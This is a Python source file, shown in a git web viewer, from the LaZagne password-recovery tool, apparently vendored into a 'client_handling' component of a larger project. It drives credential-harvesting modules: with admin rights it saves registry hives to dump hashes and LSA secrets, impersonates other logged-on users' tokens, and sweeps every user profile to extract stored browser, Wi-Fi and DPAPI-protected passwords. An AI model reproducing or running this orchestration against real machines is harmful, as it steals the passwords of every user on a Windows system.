summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/config/run.py
blob: a062fa37b84000b036cdafd045322e5646c7eb7f (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
# -*- coding: utf-8 -*-
# !/usr/bin/python
import ctypes
import logging
import sys
import traceback

from foreign.client_handling.lazagne.config.change_privileges import list_sids, rev2self, impersonate_sid_long_handle
from foreign.client_handling.lazagne.config.users import get_user_list_on_filesystem, set_env_variables, get_username_winapi
from foreign.client_handling.lazagne.config.dpapi_structure import SystemDpapi, are_masterkeys_retrieved
from foreign.client_handling.lazagne.config.execute_cmd import save_hives, delete_hives
from foreign.client_handling.lazagne.config.write_output import print_debug, StandardOutput
from foreign.client_handling.lazagne.config.constant import constant
from foreign.client_handling.lazagne.config.manage_modules import get_categories, get_modules

# Useful for the Pupy project
# workaround to this error: RuntimeError: maximum recursion depth exceeded while calling a Python object
sys.setrecursionlimit(10000)


def create_module_dic():
    if constant.modules_dic:
        return constant.modules_dic
    
    modules = {}

    # Define a dictionary for all modules
    for category in get_categories():
        modules[category] = {}

    # Add all modules to the dictionary
    for m in get_modules():
        modules[m.category][m.options['dest']] = m

    constant.modules_dic = modules
    return modules


def run_module(title, module):
    """
    Run only one module
    """
    try:
        constant.st.title_info(title.capitalize())  # print title
        pwd_found = module.run()  # run the module
        constant.st.print_output(title.capitalize(), pwd_found)  # print the results

        # Return value - not used but needed
        yield True, title.capitalize(), pwd_found
    except Exception:
        error_message = traceback.format_exc()
        print_debug('DEBUG', error_message)
        yield False, title.capitalize(), error_message


def run_modules(module, subcategories={}, system_module=False):
    """
    Run modules inside a category (could be one or multiple modules)
    """
    modules_to_launch = []
    
    # Launch only a specific module
    for i in subcategories:
        if subcategories[i] and i in module:
            modules_to_launch.append(i)

    # Launch all modules
    if not modules_to_launch:
        modules_to_launch = module

    for i in modules_to_launch:
        # Only current user could access to HKCU registry or use some API that only can be run from the user environment
        if not constant.is_current_user:
            if module[i].registry_used or module[i].only_from_current_user:
                continue

        if system_module ^ module[i].system_module:
            continue

        if module[i].winapi_used:
            constant.module_to_exec_at_end['winapi'].append({
                'title': i,
                'module': module[i],
            })
            continue

        if module[i].dpapi_used:
            constant.module_to_exec_at_end['dpapi'].append({
                'title': i,
                'module': module[i],
            })
            continue

        # Run module
        for m in run_module(title=i, module=module[i]):
            yield m


def run_category(category_selected, subcategories={}, system_module=False):
    constant.module_to_exec_at_end = {
        "winapi": [],
        "dpapi": [],
    }
    modules = create_module_dic()
    categories = [category_selected] if category_selected != 'all' else get_categories()
    for category in categories:
        for r in run_modules(modules[category], subcategories, system_module):
            yield r

    if not system_module:
        if constant.is_current_user:
            # Modules using Windows API (CryptUnprotectData) can be called from the current session
            for module in constant.module_to_exec_at_end.get('winapi', []):
                for m in run_module(title=module['title'], module=module['module']):
                    yield m

            if constant.module_to_exec_at_end.get('dpapi', []):
                if are_masterkeys_retrieved():
                    for module in constant.module_to_exec_at_end.get('dpapi', []):
                        for m in run_module(title=module['title'], module=module['module']):
                            yield m
        else:
            if constant.module_to_exec_at_end.get('dpapi', []) or constant.module_to_exec_at_end.get('winapi', []):
                if are_masterkeys_retrieved():
                    # Execute winapi/dpapi modules - winapi decrypt blob using dpapi without calling CryptUnprotectData
                    for i in ['winapi', 'dpapi']:
                        for module in constant.module_to_exec_at_end.get(i, []):
                            for m in run_module(title=module['title'], module=module['module']):
                                yield m


def run_lazagne(category_selected='all', subcategories={}, password=None):
    """
    Execution Workflow:
    - If admin:
        - Execute system modules to retrieve LSA Secrets and user passwords if possible
            - These secret could be useful for further decryption (e.g Wifi)
        - If a process of another user is launched try to impersone it (impersonating his token)
            - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques 
    - From our user:
        - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
        - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.)
        - If the user password or the dpapi hash is found:
            - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.)
    - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege:
        - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.)
        - If the user password or the dpapi hash is found:
            - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.)

    To resume:
    - Some passwords (e.g Firefox) could be retrieved from any other user
    - CryptUnprotectData can be called only from our current session
    - DPAPI Blob can decrypted only if we have the password or the hash of the user
    """

    # Useful if this function is called from another tool
    if password:
        constant.user_password = password

    if not constant.st:
        constant.st = StandardOutput()

    # --------- Execute System modules ---------
    if ctypes.windll.shell32.IsUserAnAdmin() != 0:
        if save_hives():
            # System modules (hashdump, lsa secrets, etc.)
            constant.username = 'SYSTEM'
            constant.finalResults = {'User': constant.username}
            constant.system_dpapi = SystemDpapi()

            if logging.getLogger().isEnabledFor(logging.INFO):
                constant.st.print_user(constant.username)
            yield 'User', constant.username

            try:
                for r in run_category(category_selected, subcategories, system_module=True):
                    yield r
            except:  # Catch all kind of exceptions
                pass
            finally:
                delete_hives()

            constant.stdout_result.append(constant.finalResults)

    # ------ Part used for user impersonation ------

    constant.is_current_user = True
    constant.username = get_username_winapi()
    if not constant.username.endswith('$'):
        
        constant.finalResults = {'User': constant.username}
        constant.st.print_user(constant.username)
        yield 'User', constant.username

        set_env_variables(user=constant.username)

        for r in run_category(category_selected, subcategories):
            yield r
        constant.stdout_result.append(constant.finalResults)
    
    # Check if admin to impersonate
    if ctypes.windll.shell32.IsUserAnAdmin() != 0:

        # --------- Impersonation using tokens ---------

        sids = list_sids()
        impersonate_users = {}
        impersonated_user = [constant.username]

        for sid in sids:
            # Not save the current user's SIDs and not impersonate system user
            if constant.username != sid[3] and sid[2] != 'S-1-5-18':
                impersonate_users.setdefault(sid[3], []).append(sid[2])

        for user in impersonate_users:
            if 'service' in user.lower().strip():
                continue

            # Do not impersonate the same user twice
            if user in impersonated_user:
                continue

            constant.st.print_user(user)
            yield 'User', user

            constant.finalResults = {'User': user}
            for sid in impersonate_users[user]:
                try:
                    set_env_variables(user, to_impersonate=True)
                    if impersonate_sid_long_handle(sid, close=False):
                        impersonated_user.append(user)

                        # Launch module wanted
                        for r in run_category(category_selected, subcategories):
                            yield r

                        rev2self()
                        constant.stdout_result.append(constant.finalResults)
                        break
                except Exception:
                    print_debug('DEBUG', traceback.format_exc())

        # --------- Impersonation browsing file system ---------

        constant.is_current_user = False
        # Ready to check for all users remaining
        all_users = get_user_list_on_filesystem(impersonated_user=[constant.username])
        for user in all_users:
            # Fix value by default for user environment (APPDATA and USERPROFILE)
            set_env_variables(user, to_impersonate=True)
            constant.st.print_user(user)

            constant.username = user
            constant.finalResults = {'User': user}
            yield 'User', user

            # Retrieve passwords that need high privileges
            for r in run_category(category_selected, subcategories):
                yield r

            constant.stdout_result.append(constant.finalResults)